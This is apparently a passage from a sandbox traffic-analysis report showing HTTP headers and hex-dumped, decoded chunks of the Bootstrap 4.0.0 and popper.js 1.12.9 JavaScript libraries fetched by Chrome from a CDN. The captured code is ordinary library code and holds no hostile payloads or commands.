70 65 3b 72 65 74 75 72 6e 20 6d 2e 69 73 57 69 74 68 43 6f 
Data Ascii: sout"+i,MOUSEENTER:"mouseenter"+i,MOUSELEAVE:"mouseleave"+i},g=function(r){var o,g;function p(){re
turn r.apply(this,arguments)||this}g=r,(o=p).prototype=Object.create(g.prototype),o.prototype.constructor=o,o.__proto__=
g;var m=p.prototype;return m.isWithCo

2022-05-26 11:45:34 UTC 453 IN Data Raw: 72 65 74 75 72 6e 20 65 7d 7d 2c 7b 6b 65 79 3a 22 44 41 54 41 5f 4b 45 59 22 2c 67 65 74 3a 66 75 6e 63 74 
69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6e 7d 7d 2c 7b 6b 65 79 3a 22 45 76 65 6e 74 22 2c 67 65 74 3a 66 75 6e 63 74 
69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 5f 7d 7d 2c 7b 6b 65 79 3a 22 45 56 45 4e 54 5f 4b 45 59 22 2c 67 65 74 3a 66 75 
6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 69 7d 7d 2c 7b 6b 65 79 3a 22 44 65 66 61 75 6c 74 54 79 70 65 22 2c 
67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 68 7d 7d 5d 29 2c 70 7d 28 55 29 3b 72 65 74 75 72 
6e 20 74 2e 66 6e 5b 65 5d 3d 67 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 74 2e 66 6e 5b 65 5d 2e 43 6f 
6e 73 74 72 75 63 74 6f 72 3d 67 2c 74 2e 66 6e 5b 65 5d 2e 6e 6f 43 
Data Ascii: return e}},{key:"DATA_KEY",get:function(){return n}},{key:"Event",get:function(){return _}},{key:"EVENT_KEY"
,get:function(){return i}},{key:"DefaultType",get:function(){return h}}]),p}(U);return t.fn[e]=g._jQueryInterface,t.fn[e].Construc
tor=g,t.fn[e].noC

Timestamp
kBytes
transferred

Direction Data
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2022-05-26 11:45:34 UTC 455 IN Data Raw: 3d 74 68 69 73 2c 6e 3d 74 68 69 73 2e 5f 73 63 72 6f 6c 6c 45 6c 65 6d 65 6e 74 3d 3d 3d 74 68 69 73 2e 5f 
73 63 72 6f 6c 6c 45 6c 65 6d 65 6e 74 2e 77 69 6e 64 6f 77 3f 64 3a 5f 2c 69 3d 22 61 75 74 6f 22 3d 3d 3d 74 68 69 73 
2e 5f 63 6f 6e 66 69 67 2e 6d 65 74 68 6f 64 3f 6e 3a 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 6d 65 74 68 6f 64 2c 73 3d 
69 3d 3d 3d 5f 3f 74 68 69 73 2e 5f 67 65 74 53 63 72 6f 6c 6c 54 6f 70 28 29 3a 30 3b 74 68 69 73 2e 5f 6f 66 66 73 65 
74 73 3d 5b 5d 2c 74 68 69 73 2e 5f 74 61 72 67 65 74 73 3d 5b 5d 2c 74 68 69 73 2e 5f 73 63 72 6f 6c 6c 48 65 69 67 68 
74 3d 74 68 69 73 2e 5f 67 65 74 53 63 72 6f 6c 6c 48 65 69 67 68 74 28 29 2c 74 2e 6d 61 6b 65 41 72 72 61 79 28 74 
28 74 68 69 73 2e 5f 73 65 6c 65 63 74 6f 72 29 29 2e 6d 61 
Data Ascii: =this,n=this._scrollElement===this._scrollElement.window?d:_,i="auto"===this._config.method?n:this
._config.method,s=i===_?this._getScrollTop():0;this._offsets=[],this._targets=[],this._scrollHeight=this._getScrollHeigh
t(),t.makeArray(t(this._selector)).ma

2022-05-26 11:45:34 UTC 456 IN Data Raw: 74 2e 67 65 74 42 6f 75 6e 64 69 6e 67 43 6c 69 65 6e 74 52 65 63 74 28 29 2e 68 65 69 67 68 74 7d 2c 67 2e 
5f 70 72 6f 63 65 73 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 2e 5f 67 65 74 53 63 72 6f 6c 
6c 54 6f 70 28 29 2b 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 6f 66 66 73 65 74 2c 65 3d 74 68 69 73 2e 5f 67 65 74 53 63 
72 6f 6c 6c 48 65 69 67 68 74 28 29 2c 6e 3d 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 6f 66 66 73 65 74 2b 65 2d 74 68 69 
73 2e 5f 67 65 74 4f 66 66 73 65 74 48 65 69 67 68 74 28 29 3b 69 66 28 74 68 69 73 2e 5f 73 63 72 6f 6c 6c 48 65 69 67 
68 74 21 3d 3d 65 26 26 74 68 69 73 2e 72 65 66 72 65 73 68 28 29 2c 74 3e 3d 6e 29 7b 76 61 72 20 69 3d 74 68 69 73 
2e 5f 74 61 72 67 65 74 73 5b 74 68 69 73 2e 5f 74 61 72 67 
Data Ascii: t.getBoundingClientRect().height},g._process=function(){var t=this._getScrollTop()+this._config.offset,e=thi
s._getScrollHeight(),n=this._config.offset+e-this._getOffsetHeight();if(this._scrollHeight!==e&&this.refresh(),t>=n){var 
i=this._targets[this._targ

2022-05-26 11:45:34 UTC 457 IN Data Raw: 66 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 69 5b 65 5d 29 74 68 72 6f 77 20 6e 65 77 
20 54 79 70 65 45 72 72 6f 72 28 27 4e 6f 20 6d 65 74 68 6f 64 20 6e 61 6d 65 64 20 22 27 2b 65 2b 27 22 27 29 3b 69 
5b 65 5d 28 29 7d 7d 29 7d 2c 73 28 6f 2c 6e 75 6c 6c 2c 5b 7b 6b 65 79 3a 22 56 45 52 53 49 4f 4e 22 2c 67 65 74 3a 66 
75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 22 34 2e 30 2e 30 22 7d 7d 2c 7b 6b 65 79 3a 22 44 65 66 61 75 6c 74 
22 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 61 7d 7d 5d 29 2c 6f 7d 28 29 3b 72 65 74 75 7
2 6e 20 74 28 77 69 6e 64 6f 77 29 2e 6f 6e 28 68 2e 4c 4f 41 44 5f 44 41 54 41 5f 41 50 49 2c 66 75 6e 63 74 69 6f 6e 28 
29 7b 66 6f 72 28 76 61 72 20 65 3d 74 2e 6d 61 6b 65 41 72 72 
Data Ascii: f("undefined"==typeof i[e])throw new TypeError('No method named "'+e+'"');i[e]()}})},s(o,null,[{key:"VERSION
",get:function(){return"4.0.0"}},{key:"Default",get:function(){return a}}]),o}();return t(window).on(h.LOAD_DATA_API,fun
ction(){for(var e=t.makeArr

2022-05-26 11:45:34 UTC 459 IN Data Raw: 69 67 67 65 72 28 63 29 2c 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 74 72 69 67 67 65 72 28 75 29 
2c 21 75 2e 69 73 44 65 66 61 75 6c 74 50 72 65 76 65 6e 74 65 64 28 29 26 26 21 63 2e 69 73 44 65 66 61 75 6c 74 50 
72 65 76 65 6e 74 65 64 28 29 29 7b 6f 26 26 28 6e 3d 74 28 6f 29 5b 30 5d 29 2c 74 68 69 73 2e 5f 61 63 74 69 76 61 74 
65 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2c 73 29 3b 76 61 72 20 67 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 
20 6e 3d 74 2e 45 76 65 6e 74 28 72 2e 48 49 44 44 45 4e 2c 7b 72 65 6c 61 74 65 64 54 61 72 67 65 74 3a 65 2e 5f 65 
6c 65 6d 65 6e 74 7d 29 2c 73 3d 74 2e 45 76 65 6e 74 28 72 2e 53 48 4f 57 4e 2c 7b 72 65 6c 61 74 65 64 54 61 72 67 
65 74 3a 69 7d 29 3b 74 28 69 29 2e 74 72 69 67 67 65 72 28 6e 29 2c 
Data Ascii: igger(c),t(this._element).trigger(u),!u.isDefaultPrevented()&&!c.isDefaultPrevented()){o&&(n=t(o)[0]),this._
activate(this._element,s);var g=function(){var n=t.Event(r.HIDDEN,{relatedTarget:e._element}),s=t.Event(r.SHOWN,
{relatedTarget:i});t(i).trigger(n),

2022-05-26 11:45:34 UTC 460 IN Data Raw: 65 74 75 72 6e 22 34 2e 30 2e 30 22 7d 7d 5d 29 2c 6e 7d 28 29 3b 72 65 74 75 72 6e 20 74 28 64 6f 63 75 6d 
65 6e 74 29 2e 6f 6e 28 72 2e 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 2c 67 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 
2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 76 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 
6c 6c 28 74 28 74 68 69 73 29 2c 22 73 68 6f 77 22 29 7d 29 2c 74 2e 66 6e 2e 74 61 62 3d 76 2e 5f 6a 51 75 65 72 79 
49 6e 74 65 72 66 61 63 65 2c 74 2e 66 6e 2e 74 61 62 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 76 2c 74 2e 66 6e 2e 74 6
1 62 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 2e 66 6e 2e 74 61 62 
3d 69 2c 76 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 
Data Ascii: eturn"4.0.0"}}]),n}();return t(document).on(r.CLICK_DATA_API,g,function(e){e.preventDefault(),v._jQueryInter
face.call(t(this),"show")}),t.fn.tab=v._jQueryInterface,t.fn.tab.Constructor=v,t.fn.tab.noConflict=function(){return t.fn.tab=i,v.
_jQueryInterface}

2022-05-26 11:45:34 UTC 461 IN Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

31 192.168.2.4 49751 104.17.24.14 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:45:34 UTC 461 OUT GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1
Host: cdnjs.cloudflare.com
Connection: keep-alive
Origin: null
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36
Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"
Accept: */*
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: script
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
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2022-05-26 11:45:34 UTC 461 IN HTTP/1.1 200 OK
Date: Thu, 26 May 2022 11:45:34 GMT
Content-Type: application/javascript; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Access-Control-Allow-Origin: *
Cache-Control: public, max-age=30672000
ETag: W/"5eb03fa9-4af4"
Last-Modified: Mon, 04 May 2020 16:15:37 GMT
cf-cdnjs-via: cfworker/kv
Cross-Origin-Resource-Policy: cross-origin
Timing-Allow-Origin: *
X-Content-Type-Options: nosniff
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
CF-Cache-Status: HIT
Age: 554724
Expires: Tue, 16 May 2023 11:45:34 GMT
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=47wUZYeyTiTsx7DBNkP9E0jyo3U9FYCg
uOFbLEWKSEuAydF2I5m68HZvKUwCnqxCBuY4K5P8TZjxf6SqpGsoVoCMUOGNrmfb1ZrsVNxP0AtMig0D
ANH2mew7bhqGkq2ZGhechUN%2F"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800}
Strict-Transport-Security: max-age=15780000
Server: cloudflare
CF-RAY: 711643ed6bcd9945-FRA
alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400

2022-05-26 11:45:34 UTC 462 IN Data Raw: 34 61 66 34 0d 0a 2f 2a 0a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 46 65 64 65 72 69 63 6f 20 5a 69 76 
6f 6c 6f 20 32 30 31 37 0a 20 44 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 4c 69 63 
65 6e 73 65 20 28 6c 69 63 65 6e 73 65 20 74 65 72 6d 73 20 61 72 65 20 61 74 20 68 74 74 70 3a 2f 2f 6f 70 65 6e 73 6f 
75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 4d 49 54 29 2e 0a 20 2a 2f 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 
29 7b 27 6f 62 6a 65 63 74 27 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 27 75 6e 64 65 66 69 6e 65 64 27 
21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 27 66 75 6e 63 
74 69 6f 6e 27 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 
Data Ascii: 4af4/* Copyright (C) Federico Zivolo 2017 Distributed under the MIT License (license terms are at http://ope
nsource.org/licenses/MIT). */(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'fun
ction'==typeof define&

2022-05-26 11:45:34 UTC 463 IN Data Raw: 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 27 75 73 65 20 73 74 72 69 63 74 27 3b 66 75 6e 63 74 69 
6f 6e 20 65 28 65 29 7b 72 65 74 75 72 6e 20 65 26 26 27 5b 6f 62 6a 65 63 74 20 46 75 6e 63 74 69 6f 6e 5d 27 3d 3d 
3d 7b 7d 2e 74 6f 53 74 72 69 6e 67 2e 63 61 6c 6c 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 74 28 65 2c 74 29 7b 69 66 
28 31 21 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 29 72 65 74 75 72 6e 5b 5d 3b 76 61 72 20 6f 3d 67 65 74 43 6f 6d 70 75 7
4 65 64 53 74 79 6c 65 28 65 2c 6e 75 6c 6c 29 3b 72 65 74 75 72 6e 20 74 3f 6f 5b 74 5d 3a 6f 7d 66 75 6e 63 74 69 6f 6
e 20 6f 28 65 29 7b 72 65 74 75 72 6e 27 48 54 4d 4c 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 3f 65 3a 65 2e 70 61 72 
65 6e 74 4e 6f 64 65 7c 7c 65 2e 68 6f 73 74 7d 66 75 6e 63 74 69 
Data Ascii: (this,function(){'use strict';function e(e){return e&&'[object Function]'==={}.toString.call(e)}function t(e,t){if(1!=
=e.nodeType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:
e.parentNode||e.host}functi

2022-05-26 11:45:34 UTC 464 IN Data Raw: 69 29 7b 76 61 72 20 6e 3d 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 
6d 65 6e 74 2c 72 3d 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 73 63 72 6f 6c 6c 69 6e 67 45 6c 65 6d 65 6e 74 7c 
7c 6e 3b 72 65 74 75 72 6e 20 72 5b 6f 5d 7d 72 65 74 75 72 6e 20 65 5b 6f 5d 7d 66 75 6e 63 74 69 6f 6e 20 6c 28 65 2c 
74 29 7b 76 61 72 20 6f 3d 32 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 26 26 76 6f 69 64 20 30 21 3d 3d 61 
72 67 75 6d 65 6e 74 73 5b 32 5d 26 26 61 72 67 75 6d 65 6e 74 73 5b 32 5d 2c 69 3d 61 28 74 2c 27 74 6f 70 27 29 2c 
6e 3d 61 28 74 2c 27 6c 65 66 74 27 29 2c 72 3d 6f 3f 2d 31 3a 31 3b 72 65 74 75 72 6e 20 65 2e 74 6f 70 2b 3d 69 2a 72 
2c 65 2e 62 6f 74 74 6f 6d 2b 3d 69 2a 72 2c 65 2e 6c 65 66 74 
Data Ascii: i){var n=e.ownerDocument.documentElement,r=e.ownerDocument.scrollingElement||n;return r[o]}return 
e[o]}function l(e,t){var o=2<arguments.length&&void 0!==arguments[2]&&arguments[2],i=a(t,'top'),n=a(t,'left'),r=o?-1:1;r
eturn e.top+=i*r,e.bottom+=i*r,e.left

2022-05-26 11:45:34 UTC 465 IN Data Raw: 3d 3d 3d 6f 2e 6e 6f 64 65 4e 61 6d 65 2c 70 3d 67 28 65 29 2c 73 3d 67 28 6f 29 2c 64 3d 6e 28 65 29 2c 61 
3d 74 28 6f 29 2c 66 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 62 6f 72 64 65 72 54 6f 70 57 69 64 74 68 2c 31 30 29 2c 
6d 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 62 6f 72 64 65 72 4c 65 66 74 57 69 64 74 68 2c 31 30 29 2c 68 3d 63 28 
7b 74 6f 70 3a 70 2e 74 6f 70 2d 73 2e 74 6f 70 2d 66 2c 6c 65 66 74 3a 70 2e 6c 65 66 74 2d 73 2e 6c 65 66 74 2d 6d 2c 
77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 29 3b 69 66 28 68 2e 6d 61 
72 67 69 6e 54 6f 70 3d 30 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 30 2c 21 69 26 26 72 29 7b 76 61 72 20 75 3d 70 6
1 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 54 6f 70 2c 
Data Ascii: ===o.nodeName,p=g(e),s=g(o),d=n(e),a=t(o),f=parseFloat(a.borderTopWidth,10),m=parseFloat(a.borderL
eftWidth,10),h=c({top:p.top-s.top-f,left:p.left-s.left-m,width:p.width,height:p.height});if(h.marginTop=0,h.marginLeft=0,!i&&r)
{var u=parseFloat(a.marginTop,

2022-05-26 11:45:34 UTC 467 IN Data Raw: 65 2e 69 6e 64 65 78 4f 66 28 27 61 75 74 6f 27 29 29 72 65 74 75 72 6e 20 65 3b 76 61 72 20 70 3d 79 28 6f 
2c 69 2c 72 2c 6e 29 2c 73 3d 7b 74 6f 70 3a 7b 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 74 2e 
74 6f 70 2d 70 2e 74 6f 70 7d 2c 72 69 67 68 74 3a 7b 77 69 64 74 68 3a 70 2e 72 69 67 68 74 2d 74 2e 72 69 67 68 74 
2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 2c 62 6f 74 74 6f 6d 3a 7b 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2
c 68 65 69 67 68 74 3a 70 2e 62 6f 74 74 6f 6d 2d 74 2e 62 6f 74 74 6f 6d 7d 2c 6c 65 66 74 3a 7b 77 69 64 74 68 3a 74 
2e 6c 65 66 74 2d 70 2e 6c 65 66 74 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 7d 2c 64 3d 4f 62 6a 65 63 74 
2e 6b 65 79 73 28 73 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 
Data Ascii: e.indexOf('auto'))return e;var p=y(o,i,r,n),s={top:{width:p.width,height:t.top-p.top},right:{width:p.right-t.right,hei
ght:p.height},bottom:{width:p.width,height:p.bottom-t.bottom},left:{width:t.left-p.left,height:p.height}},d=Object.keys(
s).map(function(e

Timestamp
kBytes
transferred

Direction Data
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2022-05-26 11:45:34 UTC 468 IN Data Raw: 4f 66 28 69 29 7d 66 75 6e 63 74 69 6f 6e 20 43 28 74 2c 6f 2c 69 29 7b 76 61 72 20 6e 3d 76 6f 69 64 20 30 
3d 3d 3d 69 3f 74 3a 74 2e 73 6c 69 63 65 28 30 2c 44 28 74 2c 27 6e 61 6d 65 27 2c 69 29 29 3b 72 65 74 75 72 6e 20 
6e 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 5b 27 66 75 6e 63 74 69 6f 6e 27 5d 26 26 63 6f 6e 
73 6f 6c 65 2e 77 61 72 6e 28 27 60 6d 6f 64 69 66 69 65 72 2e 66 75 6e 63 74 69 6f 6e 60 20 69 73 20 64 65 70 72 65 63 
61 74 65 64 2c 20 75 73 65 20 60 6d 6f 64 69 66 69 65 72 2e 66 6e 60 21 27 29 3b 76 61 72 20 69 3d 74 5b 27 66 75 6e 
63 74 69 6f 6e 27 5d 7c 7c 74 2e 66 6e 3b 74 2e 65 6e 61 62 6c 65 64 26 26 65 28 69 29 26 26 28 6f 2e 6f 66 66 73 65 74 
73 2e 70 6f 70 70 65 72 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 
Data Ascii: Of(i)}function C(t,o,i){var n=void 0===i?t:t.slice(0,D(t,'name',i));return n.forEach(function(t){t['function']&&consol
e.warn('`modifier.function` is deprecated, use `modifier.fn`!');var i=t['function']||t.fn;t.enabled&&e(i)&&(o.offsets.po
pper=c(o.offsets.

2022-05-26 11:45:34 UTC 469 IN Data Raw: 6f 70 70 65 72 2e 73 74 79 6c 65 2e 70 6f 73 69 74 69 6f 6e 3d 27 27 2c 74 68 69 73 2e 70 6f 70 70 65 72 2e 
73 74 79 6c 65 2e 74 6f 70 3d 27 27 2c 74 68 69 73 2e 70 6f 70 70 65 72 2e 73 74 79 6c 65 5b 57 28 27 74 72 61 6e 73 
66 6f 72 6d 27 29 5d 3d 27 27 29 2c 74 68 69 73 2e 64 69 73 61 62 6c 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 28 
29 2c 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 72 65 6d 6f 76 65 4f 6e 44 65 73 74 72 6f 79 26 26 74 68 69 73 2e 70 6f 70 
70 65 72 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 74 68 69 73 2e 70 6f 70 70 65 72 29 2c 
74 68 69 73 7d 66 75 6e 63 74 69 6f 6e 20 42 28 65 29 7b 76 61 72 20 74 3d 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 7
4 3b 72 65 74 75 72 6e 20 74 3f 74 2e 64 65 66 61 75 6c 74 56 69 
Data Ascii: opper.style.position='',this.popper.style.top='',this.popper.style[W('transform')]=''),this.disableEventList
eners(),this.options.removeOnDestroy&&this.popper.parentNode.removeChild(this.popper),this}function B(e){var t
=e.ownerDocument;return t?t.defaultVi

2022-05-26 11:45:34 UTC 471 IN Data Raw: 72 20 69 3d 74 5b 6f 5d 3b 21 31 3d 3d 3d 69 3f 65 2e 72 65 6d 6f 76 65 41 74 74 72 69 62 75 74 65 28 6f 29 
3a 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 6f 2c 74 5b 6f 5d 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 65 2c 74 
2c 6f 29 7b 76 61 72 20 69 3d 54 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6f 3d 65 2e 6e 61 6d 65 3b 72 
65 74 75 72 6e 20 6f 3d 3d 3d 74 7d 29 2c 6e 3d 21 21 69 26 26 65 2e 73 6f 6d 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 
7b 72 65 74 75 72 6e 20 65 2e 6e 61 6d 65 3d 3d 3d 6f 26 26 65 2e 65 6e 61 62 6c 65 64 26 26 65 2e 6f 72 64 65 72 3c 
69 2e 6f 72 64 65 72 7d 29 3b 69 66 28 21 6e 29 7b 76 61 72 20 72 3d 27 60 27 2b 74 2b 27 60 27 3b 63 6f 6e 73 6f 6c 65 
2e 77 61 72 6e 28 27 60 27 2b 6f 2b 27 60 27 2b 27 20 6d 6f 64 
Data Ascii: r i=t[o];!1===i?e.removeAttribute(o):e.setAttribute(o,t[o])})}function F(e,t,o){var i=T(e,function(e){var o=
e.name;return o===t}),n=!!i&&e.some(function(e){return e.name===o&&e.enabled&&e.order<i.order});if(!n){var r='`'+t+'`';c
onsole.warn('`'+o+'`'+' mod

2022-05-26 11:45:34 UTC 472 IN Data Raw: 70 2e 73 6c 69 63 65 28 73 2b 31 29 29 5d 3b 72 65 74 75 72 6e 20 61 3d 61 2e 6d 61 70 28 66 75 6e 63 74 
69 6f 6e 28 65 2c 69 29 7b 76 61 72 20 6e 3d 28 31 3d 3d 3d 69 3f 21 72 3a 72 29 3f 27 68 65 69 67 68 74 27 3a 27 77 
69 64 74 68 27 2c 70 3d 21 31 3b 72 65 74 75 72 6e 20 65 2e 72 65 64 75 63 65 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2
9 7b 72 65 74 75 72 6e 27 27 3d 3d 3d 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 26 26 2d 31 21 3d 3d 5b 27 2b 27 2c 27 
2d 27 5d 2e 69 6e 64 65 78 4f 66 28 74 29 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 3d 74 2c 70 3d 21 30 2c 65 29 
3a 70 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 2b 3d 74 2c 70 3d 21 31 2c 65 29 3a 65 2e 63 6f 6e 63 61 74 28 74 
29 7d 2c 5b 5d 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 
Data Ascii: p.slice(s+1))];return a=a.map(function(e,i){var n=(1===i?!r:r)?'height':'width',p=!1;return e.reduce(function(e,t)
{return''===e[e.length-1]&&-1!==['+','-'].indexOf(t)?(e[e.length-1]=t,p=!0,e):p?(e[e.length-1]+=t,p=!1,e):e.concat(t)},[]).m
ap(function(e){re

2022-05-26 11:45:34 UTC 473 IN Data Raw: 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 6f 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 27 76 61 6c 75 65 
27 69 6e 20 6f 26 26 28 6f 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 
65 72 74 79 28 65 2c 6f 2e 6b 65 79 2c 6f 29 7d 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 74 2c 6f 2c 69 29 7b 72 
65 74 75 72 6e 20 6f 26 26 65 28 74 2e 70 72 6f 74 6f 74 79 70 65 2c 6f 29 2c 69 26 26 65 28 74 2c 69 29 2c 74 7d 7d 28 
29 2c 70 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 29 7b 72 65 74 75 72 6e 20 74 20 69 6e 20 65 3f 4f 62 6a 65 63 
74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 74 2c 7b 76 61 6c 75 65 3a 6f 2c 65 6e 75 6d 65 72 61 62 6c 
65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 
Data Ascii: merable||!1,o.configurable=!0,'value'in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}return function(t,o,i)
{return o&&e(t.prototype,o),i&&e(t,i),t}}(),pe=function(e,t,o){return t in e?Object.defineProperty(e,t,{value:o,enumerable:!
0,configurable:!0

2022-05-26 11:45:34 UTC 475 IN Data Raw: 73 5b 65 5d 29 7d 29 2e 73 6f 72 74 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 65 2e 
6f 72 64 65 72 2d 74 2e 6f 72 64 65 72 7d 29 2c 74 68 69 73 2e 6d 6f 64 69 66 69 65 72 73 2e 66 6f 72 45 61 63 68 28 66 
75 6e 63 74 69 6f 6e 28 74 29 7b 74 2e 65 6e 61 62 6c 65 64 26 26 65 28 74 2e 6f 6e 4c 6f 61 64 29 26 26 74 2e 6f 6e 4c 
6f 61 64 28 6e 2e 72 65 66 65 72 65 6e 63 65 2c 6e 2e 70 6f 70 70 65 72 2c 6e 2e 6f 70 74 69 6f 6e 73 2c 74 2c 6e 2e 73 
74 61 74 65 29 7d 29 2c 74 68 69 73 2e 75 70 64 61 74 65 28 29 3b 76 61 72 20 70 3d 74 68 69 73 2e 6f 70 74 69 6f 6e 
73 2e 65 76 65 6e 74 73 45 6e 61 62 6c 65 64 3b 70 26 26 74 68 69 73 2e 65 6e 61 62 6c 65 45 76 65 6e 74 4c 69 73 74 
65 6e 65 72 73 28 29 2c 74 68 69 73 2e 73 74 61 74 65 2e 65 76 
Data Ascii: s[e])}).sort(function(e,t){return e.order-t.order}),this.modifiers.forEach(function(t){t.enabled&&e(t.onLoad
)&&t.onLoad(n.reference,n.popper,n.options,t,n.state)}),this.update();var p=this.options.eventsEnabled;p&&this.enableEve
ntListeners(),this.state.ev

2022-05-26 11:45:34 UTC 476 IN Data Raw: 76 61 72 20 6f 3d 70 5b 65 5d 3b 72 65 74 75 72 6e 20 70 5b 65 5d 3c 69 5b 65 5d 26 26 21 74 2e 65 73 63 61 
70 65 57 69 74 68 52 65 66 65 72 65 6e 63 65 26 26 28 6f 3d 4a 28 70 5b 65 5d 2c 69 5b 65 5d 29 29 2c 70 65 28 7b 7d 
2c 65 2c 6f 29 7d 2c 73 65 63 6f 6e 64 61 72 79 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6f 3d 27 72 69 67 68 
74 27 3d 3d 3d 65 3f 27 6c 65 66 74 27 3a 27 74 6f 70 27 2c 6e 3d 70 5b 6f 5d 3b 72 65 74 75 72 6e 20 70 5b 65 5d 3e 69 
